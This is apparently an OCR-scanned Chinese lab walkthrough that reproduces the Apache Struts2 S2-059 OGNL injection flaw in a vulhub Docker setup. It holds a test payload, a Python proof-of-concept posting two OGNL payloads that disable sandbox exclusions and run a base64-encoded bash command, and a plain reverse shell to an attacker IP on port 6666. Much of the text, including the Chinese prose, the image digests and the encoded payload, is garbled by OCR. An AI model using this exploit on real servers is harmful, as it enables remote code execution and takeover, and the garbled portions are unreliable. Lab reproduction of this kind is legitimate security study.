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Struts 2.0.0 — Struts 2.5.20
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ILENL: linux:192.168.20.128
HO#1: Ubuntu:192.168.20.129

1. B&h Struts 2.5.16315

docker-compose up -d



1 root@ubuntu: fhome/joke/SRE/vulhub-master/struts2/s2-059 Q

Creating network "s2-859_default" with the default driver
Pulling struts2 (vulhub/struts2:2.5.16)...
2.5.16: Pulling from wvulhub/struts2
d6ff36c9ec48: Pulling fs layer
c958d65b3098: Downloading [=
c958d65b3098: Downloading [==
159.7kB/7.812MBiting
edaf®a6be92f: Downloading [=>
d6Tf36cfec48: Pull complete
€958d65b3090: Pull complete
edaf0acbo92f: Pull complete
80931cf68816: Pull
bf@4b6bbeddc: Pull
41dc8e52672f: Pull
dbbc65a7534c: Pull complete
77418fedcff5: Pull complete
7134b35eaff6: Pull complete
feB81la58cc5b: Pull complete
c10891ca55f1: Pull complete
154d291fdBed: Pull complete
Digest: sha256:e3fael31ad9f736e33f48d096b029889044398e18b24016F7037f8b45cdf3fa
Status: Downloaded newer image for vulhub/struts2:2.5.16
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your input id: 1
has ben evaluated again in id attribute
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52-059 demo X

< ¢ @ © & 192.168.20.129:8080,7id=%25{233*233}

your input id: %{233*233}
has ben evaluated again in id attribute
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2. Wpoc#HiT 718, Ri#Eshell

import requests
url = "http://127.0.0.1:8080"
datal = {

"id":
"%{(#context=#attr[ ' 'struts.valueStack'].context). (#container=#co
ntext['com.opensymphony.xwork2.ActionContext.container']). (#ognl
Util=#container.getInstance(@com.opensymphony.xwork2.ognl.0OgnlUt
il@class)).(#ognlUtil.setExcludedClasses('")).(#ognlUtil.setExcl
udedPackageNames("'"'))}"

}



data2 = {

"id":
"%{ (#context=#attr[ 'struts.valueStack'].context). (#context.setMe
mberAccess(@ognl.0OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang
.Runtime@getRuntime().exec('bash -c
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8XOTIUMTY4LFIwLjEYOC82NFY2IDA+T]
E=}|{base64,-d}|{bash,-i}"'))}"

}
resl = requests.post(url, data=datal)
res2 = requests.post(url, data=data2)

XEBexec(REBRERHMNERITHBS, FHMNHTlinuxfzi#shellas<S
bash -i >& /dev/tcp/192.168.20.128/6666 0>&1

(PS: XBEIKAKRHFXBIERTRIEIREshel P RIEERFRET 2
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